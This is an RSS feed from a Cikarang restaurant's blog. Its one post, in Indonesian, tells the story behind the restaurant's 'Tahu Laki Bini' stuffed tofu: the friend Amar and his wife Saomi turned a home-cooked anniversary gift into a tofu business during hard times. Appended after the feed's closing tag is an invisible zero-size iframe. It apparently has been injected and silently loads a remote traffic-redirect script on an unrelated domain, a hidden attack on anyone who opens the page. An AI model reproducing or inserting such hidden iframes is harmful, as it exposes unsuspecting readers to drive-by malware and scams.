<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tempat Makan di Cikarang &#124; Samikuring &#187; Tahu Laki Bini</title>
	<atom:link href="http://samikuring.com/tag/tahu-laki-bini/feed/" rel="self" type="application/rss+xml" />
	<link>http://samikuring.com</link>
	<description>Tempat Makan Enak dan Terbaik di Cikarang? Hubungi Samikuring 021-89842222 atau Wisnu Dewobroto (081314151660)</description>
	<lastBuildDate>Fri, 26 Aug 2011 04:56:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Asal usul Tahu “Laki Bini”… &#124; Tahu Isi SamiKuring</title>
		<link>http://samikuring.com/asal-usul-tahu-laki-bini/</link>
		<comments>http://samikuring.com/asal-usul-tahu-laki-bini/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 05:20:52 +0000</pubDate>
		<dc:creator>wisnudewobroto</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Informasi]]></category>
		<category><![CDATA[Makanan]]></category>
		<category><![CDATA[Promosi]]></category>
		<category><![CDATA[Tahu isi]]></category>
		<category><![CDATA[Tahu Isi Samikuring]]></category>
		<category><![CDATA[Tahu Laki Bini]]></category>

		<guid isPermaLink="false">http://samikuring.com/?p=255</guid>
		<description><![CDATA[<a href="http://samikuring.com/asal-usul-tahu-laki-bini/"><img align="left" hspace="5" width="100" height="100" src="http://samikuring.com/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.jpg" class="alignleft wp-post-image tfe" alt="" title="" /></a>Banyak orang telah mengakui bagaimana dahsyatnya Tahu Isi Samikuring.. Rasanya yang khas ditambah dengan sambal (saus) dengan rasa pedas asam, menambah nikmatnya rasa tahu isi ketika disantap. Tapi belum banyak tahu, ternyata ada kisah-nya dibalik itu.. Awal mulanya, resep tahu isi ini sebenarnya didapat dari seorang teman lama yang sekarang juga masih berdagang tahu.. Teman [...]]]></description>
			<content:encoded><![CDATA[<p>Banyak orang telah mengakui bagaimana dahsyatnya <a href="http://samikuring.com/tahu-isi-samikuring-yang-special-patut-dicoba/" target="_blank">Tahu Isi Samikuring</a>.. Rasanya yang khas ditambah dengan sambal (saus) dengan rasa pedas asam, menambah nikmatnya rasa tahu isi ketika disantap. Tapi belum banyak tahu, ternyata ada kisah-nya dibalik itu.. Awal mulanya, resep tahu isi ini sebenarnya didapat dari seorang teman lama yang sekarang juga masih berdagang tahu.. Teman lama saya itu bernama Amarudin.. semenjak dulu saya sudah berteman dengannya. Sekarang Amarudin yang akrab dengan sebutan Amar, sudah beristrikan seorang wanita asal Cibarusah yang bernama Saomi. Nama yang simple memang, namun dibalik nama tersebut terdapat kisah bersejarang mengenai Tahu isi &quot;Laki Bini&quot; yang sekarang terkenal di sekitar Cikarang dan hanya dapat dibeli di <a href="http://samikuring.com" target="_blank">Resto SamiKuring</a>. <span id="more-255"></span>Sudah Puluhan tahun mereka menikah,&#8230; namun ada sepenggal masa yang membuat saya teringat dan ingin terus mengabadikan kisah ini dengan membuat resep tahu isinya di restoran SamiKuring. Sekitar 10 tahun lalu.. tepatnya awal tahun 2000, Amar teman baik saya memutuskan untuk menikahi Saomi.. Pesta pernikahan yang sederhana namun tetap meriah digelar selama 2 hari lamanya. Para undangan berdatangan dari desa sekitar dan juga Jakarta. Saat itu saya juga hadir, setelah melewati jalan yang begitu berlika liku dan jalan yang belum di aspal. Ditambah lagi, ada jalan yang tidak bisa dilalui dengan kendaraan roda 4, jadi terpaksa pada waktu itu saya menggunakan jasa ojeg untuk menuju tempat rumah tinggal Saomi&#8230; Pestanya kental sekali dengan adat istiadat budaya Betawi dan sedikit budaya sunda karena Cibarusah memang terletak dipinggiran kota Jakarta dan sudah masuk propinsi Jawa Barat&#8230;. Semenjak hari itu, mereka hidup bahagia, tidak kurang suatu apapun. Amar bekerja di Pabrik elektronik, begitu pula Saomi.. Mereka tinggal dirumah Orang tua Saomi di Cibarusah.. Karena begitu jauhnya dari Jakarta, Saya sudah lama tidak bisa berkunjung kesana.. Hari berganti hari, waktu berganti waktu, sampai pada saatnya ternyata mereka terkena musibah yang berat. Bapak mertua Saomi sakit keras, Amar diberhentikan dari pekerjaannya karena adanya perampingan karyawan, begitu juga Saomi yang kontrak kerjanya sudah mencapai limit dan tidak diperpanjang lagi. Memang pada saat itu, semua anggota keluaga merasa panik, apalagi si Amar yang memang menjadi tulang punggung keluarga itu. Masa sulit mereka lalui dengan sangat berat.. dengan terpaksa Amar yang dulunya kerja pabrikan, pada saat itu dia berdagang ikan hias di jalan dengan bermodalkan &quot;dengkul&quot; karena semua ikan hiasnya itu didapatnya dari toko ikan yang kebetulan punya pamannya sendiri. Siang hari Amar berjualan ikan, malam hari dia menjadi tukang Ojeg dengan motor sewaan dari temannya. Lain kisah Saomi, dimasa sulit ia diam &#8211; diam ( karena takut tidak diijinkan suami) menjadi tukang cuci keliling&#8230; Pagi hari ia menjemput cucian dari tentangga tetangga, kemudian siang hari ia pergi ke sungai untuk mencucikannya sekaligus menjemurnya. Sedangkan Ibu Saomi, tetap menjaga suaminya yang sakitnya tidak kunjung sembuh dan malah bertambah parah&#8230; Setelah hampir 1 tahun mereka mengalami masa sulit itu, Amar mendapatkan rejeki lebih dan saat itu adalah ulang tahun pernikahaannya yang ke 5. Amar merasa kasihan kepada istrinya, setelah 5 tahun berkeluarga, bukanlah kebahagiaan yang didapat, malah sebaliknya. Dengan kelebihan rejeki yang Amar dapat dari berjualan ikan, ia berniat membelikan sesuatu kepada istrinya sebagai tanda cintanya. Amar kadang merenung sendiri, ia sangat bersyukur kepada Allah SWT, bahwa ternyata ia tidak salah pilih Istri. Bagaimanapun keadaan keluarganya, Istrinya tetap tidak pernah mengeluh, tidak pernah menyesal dan malah terus mendukung suaminya agar terus sigap, tabah dalam menghadapi cobaan Allah SWT. Akhirnya, 1 hari sebelum jatuh tanggal hari ulang tahun pernikahaan yang kelima mereka, Amar membelanjakan uang dari hasil berjualan ikan tersebut untuk membeli bahan &#8211; bahan membuat Tahu isi!. Mengapa tahu isi? ternyata tahu isi adalah makanan kesukaan Saomi&#8230; Saya tahu sekali bahwa Amar tidak pandai memasak, namun setelah saya menanyakan kepadanya, bagaimana caranya ia memasak. Jawabannya sangat simple&#8230; yaitu &quot;Ya&#8230;. Ngarang aja kita&#39;!&quot;.. Jawaban yang polos namun sangat bermakna, karena dia yakin apapun yang dikerjakan secara setulus hati pasti hasilnya menjadi istimewa. Walaupun si Amar mengaku menunya mengarang saja, tapi ternyata, istrinya pernah mengakui, kalau ternyata si Amar selalu menemani istrinya pada saat Istrinya menggoreng tahu isi. Tengah malam sewaktu semua anggota keluarga tertidur, si Amar mulai melaksanakan operasinya yaitu menggoreng tahu isi!&#8230; mulai lah dia dengan memotong tauge, wortel dan sebagainya. Meracik dengan Garam, merica, gula dan lain lain. Bekerja dengan setulus hati untuk membahagian Istrinya di pagi hari. Pagi telah tiba, selesailah si Amar dengan tahunya.. dan karena dia tidak bisa mengira ira mengenai porsinya&#8230; dengan takaran yang ia karang saja, tahu yang dapat dibuat mencapai 35 buah&#8230;&quot; Wow&#8230; banyak sekali <img src='http://samikuring.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  padahal Amar hanya ingin membuat untuk Istrinya dan kedua orang Mertuanya&quot;&#8230; Setelah solat Subuh.. Amar sengaja membangunkan Istrinya dan dengan sedikit mengantuk, Saomi terperanjat karena didepan matanya sudah ada bertumpuk Tahu Isi dengan lilin diatasnya&#8230; (lilinnya pun hanya lilin putih yang sering digunakan masyarakat Indonesia pada saat mati lampu).. Saomi begitu senangnya.. dan sebelum memakan tahu isinya itu, mereka berdoa bersama, bersyukur atas apa yang diberikan Allah SWT dan meminta petunjuk agar mereka dapat keluar dari masa sulitnya itu. Setalah berdoa, mulailah Saomi menyantap tahu isi yang kelihatannya tidak terlalu bagus dari penampilannya. Namun ternyata, pada saat gigitan pertama, Saomi terhentak kagum! &quot; Wahh Bang! Sapa ni yang bikin tahunye!&quot;&#8230; Sepintas Amar pun curiga kalau kalau tahu buatannya itu tidak enak untuk disantap!&#8230; Namun ternyata malah sebaliknya!, Saomi mengakui bahwa tahu buatan suaminya itu sangat DAHSYAT! ia pun belum tentu bisa membuatnya seperti buatan suaminya!&#8230; Saomi langsung berkata &quot;Enak banget ini Bang!&quot; Gmana nih Cara buatnye!&quot;&#8230; si Amar pun kebingungan, karena ia pikir, ia juga membuatnya dengan resep karangannya sendiri. Saomi pun langsung membangunkan Ibu dan Ayahnya yang lagi sakit.. dengan berkata.. &quot;Mak, bang Amar bikin tahu enak banget!&quot;. Dan ternyata kedua orang tua Saomi pun mengakuinya!&#8230; Sepanjang hari keluarga itu hanya membicarakan tahu isi si Amar yang enak dan Amar pun masih kebingungan sambil mengingat ingat apa saja yang ia masukan ke dalam ramuan tahu isinya itu. Hari menjelang malam, seperti biasa Saomi setelah sholat Maghrib menjelang Isya, ia mengaji untuk meningkatkan ketakwaannya kepada Allah SWT. Setelah sholat ia mendapatkan ilham untuk menjual Tahu Isi buatan suaminya itu!&#8230; Hai ini ia langsung sampaikan kepada suaminya&#8230; dan dengan sedikit tidak percaya diri, Amar menyetujui ide istrinya itu. Keesokan paginya, Amar mulai membelanjakan bahan &#8211; bahan ke toko yang sama pada saat ia berbelanja untuk membeli kebutuhan tahu isinya. Dengan menyebutkan kata kunci ke penjualnya &quot;Beli yang kayak kemaren!, bahan bahan tahu isi&quot;&#8230; Amar telah mendapatkan semua bahannya. Alhamdulillah, hari itu mereka masih mempunyai tabungan yang disimpan oleh Saomi sehingga semua kebutuhan tahu isi bisa dibeli. Hari itu mereka sibuk meracik tahu isi&#8230; kadang Saomi agak sedikit kesal karena suaminya si Amar lupa, apa saja bumbu yang dimasukan untuk membuat tahu isinya. Sekitar 4 Jam mereka membuat racikan tahu Isi, akhirnya selesai juga. 50 puluh tahu isi setengah matang siap untuk dimasak dan dijual keesokan harinya&#8230; Di Hari berikutnya, sudah semenjak subuh Saomi mempersiapkan tahu isinya untuk digoreng dan dijual keliling kampung oleh suaminya. Amar telah siap, Tahu isi di panggul dikepala dan siap untuk di jual!.. Amar dikenal warganya sebagai orang yang sangat ramah dan mudah bergaul. Dengan bermodalkan teman yang banyak, tidak sampai siang hari, tahunya habis terjual!.. Keesokan harinya mereka mulai menambah porsi tahunya menjadi 2 kali lipatnya dengan modal yang didapat dari hasil penjualan tahu isi dihari sebelumnya. Lagi &#8211; lagi ternyata tahu isinya habis terjual tidak sampai siang hari lagi&#8230; karena ternyata tahu isinya dikenal di kampungnya sangat enak, renyah dan gurih! Tidak tanggung &#8211; tanggung, pesanan untuk pesta rakyat sering berdatangan&#8230; dan juga tidak kalah dengan pesanan untuk hajatan dan sunatan&#8230; Sampai modal terkumpul, Amar dan Saomi mulai membuka warung khusus makanan goreng gorengan dengan andalan Tahu Isinya&#8230; Setelah berjalan sampai 1 tahun, Amar menghubungi saya dan mengajak mampir ke warungnya&#8230; Akhirnya saya pun menghampirinya,&#8230; &quot;wah wah&#8230; ternyata warung gorengannya terkenal didesanya&quot;.. semua orang tau lokasi warung yang ternyata terpencil itu. Setelah lebih dari 5 tahun tidak bertemu, akhirnya saya dan Amar bertemu juga, kita saling melepas rindu dengan bercerita pengalaman Amar yang akhirnya ia sudah sukses dengan dangangan tahunya. Saya juga bertemu dengan mertua Saomi yang sudah membaik karena telah berobat di rumah sakit menggunakan rejeki yang didapat dari berjualan tahu&#8230; Dengan bermodalkan teman dekat, akhirnya saya ingin tahu resep dari tahu isi tersebut&#8230; Amar memaparkan rahasianya, dan sangat senang apabila tahu isinya bisa dijual di restoran &quot;Gedongan&quot;&#8230; Pada saat saya menyantap tahu isi, saya teringat kembali kisah dibalik tahu isi SamiKuring yang terkenal enak itu.. ternyata resepnya adalah &quot;ketulusan hati&quot;&#8230; ketulusan yang timbul atas cinta suami terhadap istrinya&#8230; hmmm sungguh cerita yang sederhana yang bisa membuahkan hasil resep Tahu Isi yang luar biasa.. Lalu mengapa saya menamakan Tahu Laki Bini? karena memang kata itu yang sering disebutkan kepada tentangga &#8211; tetangga dan orang tua Saomi ketika mereka bercerita tentang Amar dan Saomi.. &quot;Tuh Laki Bini&#8230; emang kerja keras terus&#8230;!..&quot; &quot;Emang tuh Laki bini ga ada istirahatnye..!&quot; dan sebagainya&#8230; Salam Hangat, Wisnu Sakti Dewobroto</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://samikuring.com/asal-usul-tahu-laki-bini/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
